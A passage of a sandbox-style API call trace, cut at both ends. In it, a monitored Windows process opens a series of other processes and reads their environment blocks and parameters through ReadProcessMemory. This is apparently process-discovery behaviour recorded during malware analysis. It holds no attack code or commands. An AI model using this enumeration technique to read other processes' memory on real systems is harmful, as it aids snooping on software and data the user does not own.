lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0312.946] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0312.952] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x8040a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0312.952] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x803be4, lpBuffer=0x5ec5a0, nSize=0x96, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0312.953] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0312.953] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0312.953] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7c9020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0312.954] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x803520, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0312.954] malloc (_Size=0x11a) returned 0xefada0 [0312.954] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x803c7a, lpBuffer=0xefada0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xefada0*, lpNumberOfBytesRead=0x0) returned 1 [0312.955] free (_Block=0xefada0) [0312.955] CloseHandle (hObject=0xa9c) returned 1 [0312.956] _ui64tow_s (in: _Value=0xd04, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3332") returned 0x0 [0312.956] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3332") returned 4 [0312.956] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.956] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.957] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd04) returned 0xa9c [0312.957] GetLastError () returned 0x0 [0312.957] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0312.957] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x265018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0312.957] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0312.957] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403df0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0312.958] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a38, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0312.958] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0312.958] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0312.958] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x265020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0312.958] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4033f0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0312.958] malloc (_Size=0x64) returned 0xeb60e0 [0312.958] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a84, lpBuffer=0xeb60e0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb60e0*, lpNumberOfBytesRead=0x0) returned 1 [0312.959] free (_Block=0xeb60e0) [0312.959] CloseHandle (hObject=0xa9c) returned 1 [0312.959] _ui64tow_s (in: _Value=0xf20, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3872") returned 0x0 [0312.960] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3872") returned 4 [0312.960] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.960] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.961] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf20) returned 0xa9c [0312.961] GetLastError () returned 0x0 [0312.961] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0312.961] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x342018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0312.961] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0312.961] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d24e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0312.961] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2118, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0312.962] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0312.962] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0312.962] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x342020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0312.962] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d1ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0312.962] malloc (_Size=0x64) returned 0xeb65b0 [0312.962] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2164, lpBuffer=0xeb65b0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb65b0*, lpNumberOfBytesRead=0x0) returned 1 [0312.963] free (_Block=0xeb65b0) [0312.963] CloseHandle (hObject=0xa9c) returned 1 [0312.964] _ui64tow_s (in: _Value=0xf60, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3936") returned 0x0 [0312.964] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3936") returned 4 [0312.964] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.964] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.965] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf60) returned 0xa9c [0312.965] GetLastError () returned 0x0 [0312.965] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0312.965] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a8018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0312.965] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0312.966] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d70, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0312.966] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0312.966] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0312.966] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0312.966] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a8020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0312.966] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0312.967] malloc (_Size=0x8c) returned 0xec75c0 [0312.967] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xec75c0, nSize=0x8a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec75c0*, lpNumberOfBytesRead=0x0) returned 1 [0312.968] free (_Block=0xec75c0) [0312.968] CloseHandle (hObject=0xa9c) returned 1 [0312.968] _ui64tow_s (in: _Value=0x840, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2112") returned 0x0 [0312.968] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2112") returned 4 [0312.969] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.969] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.970] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x840) returned 0x0 [0312.970] CloseHandle (hObject=0x0) returned 0 [0312.970] _ui64tow_s (in: _Value=0xee4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3812") returned 0x0 [0312.971] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3812") returned 4 [0312.971] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.971] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.972] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xee4) returned 0xa9c [0312.972] GetLastError () returned 0x0 [0312.972] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0312.972] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x22a018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0312.972] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0312.972] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2490, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0312.972] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2118, lpBuffer=0x5ec5a0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0312.973] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0312.973] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0312.973] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x22a020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0312.973] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a1ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0312.973] malloc (_Size=0x2c) returned 0xe71cf0 [0312.973] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a216a, lpBuffer=0xe71cf0, nSize=0x2a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe71cf0*, lpNumberOfBytesRead=0x0) returned 1 [0312.974] free (_Block=0xe71cf0) [0312.974] CloseHandle (hObject=0xa9c) returned 1 [0312.975] _ui64tow_s (in: _Value=0xf64, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3940") returned 0x0 [0312.975] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3940") returned 4 [0312.975] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.975] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.976] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf64) returned 0xa9c [0312.976] GetLastError () returned 0x0 [0312.976] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0312.976] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x203018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0312.977] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0312.977] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5324b0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0312.977] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x532118, lpBuffer=0x5ec5a0, nSize=0x4a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0312.977] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0312.977] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0312.978] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x203020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0312.978] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x531ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0312.978] malloc (_Size=0x60) returned 0xeb6310 [0312.978] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x532162, lpBuffer=0xeb6310, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6310*, lpNumberOfBytesRead=0x0) returned 1 [0312.979] free (_Block=0xeb6310) [0312.979] CloseHandle (hObject=0xa9c) returned 1 [0312.980] _ui64tow_s (in: _Value=0x2c4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="708") returned 0x0 [0312.980] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="708") returned 3 [0312.980] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.980] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.981] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2c4) returned 0x0 [0312.981] CloseHandle (hObject=0x0) returned 0 [0312.982] _ui64tow_s (in: _Value=0xffc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4092") returned 0x0 [0312.982] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4092") returned 4 [0312.982] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.982] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.983] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xffc) returned 0xa9c [0312.983] GetLastError () returned 0x0 [0312.983] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0312.983] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x328018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0312.983] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0312.984] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5b2600, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0312.984] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5b2228, lpBuffer=0x5ec5a0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0312.984] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0312.984] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0312.984] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x328020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0312.984] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5b1be0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0312.985] malloc (_Size=0x70) returned 0xea8da0 [0312.985] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5b2280, lpBuffer=0xea8da0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8da0*, lpNumberOfBytesRead=0x0) returned 1 [0312.985] free (_Block=0xea8da0) [0312.986] CloseHandle (hObject=0xa9c) returned 1 [0312.986] _ui64tow_s (in: _Value=0xc78, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3192") returned 0x0 [0312.986] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3192") returned 4 [0312.986] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.986] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.987] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc78) returned 0x0 [0312.988] CloseHandle (hObject=0x0) returned 0 [0312.988] _ui64tow_s (in: _Value=0x888, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2184") returned 0x0 [0312.988] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2184") returned 4 [0312.988] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.988] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.989] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x888) returned 0xa9c [0312.989] GetLastError () returned 0x0 [0312.989] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0312.989] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x367018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0312.989] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0312.989] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5226a0, 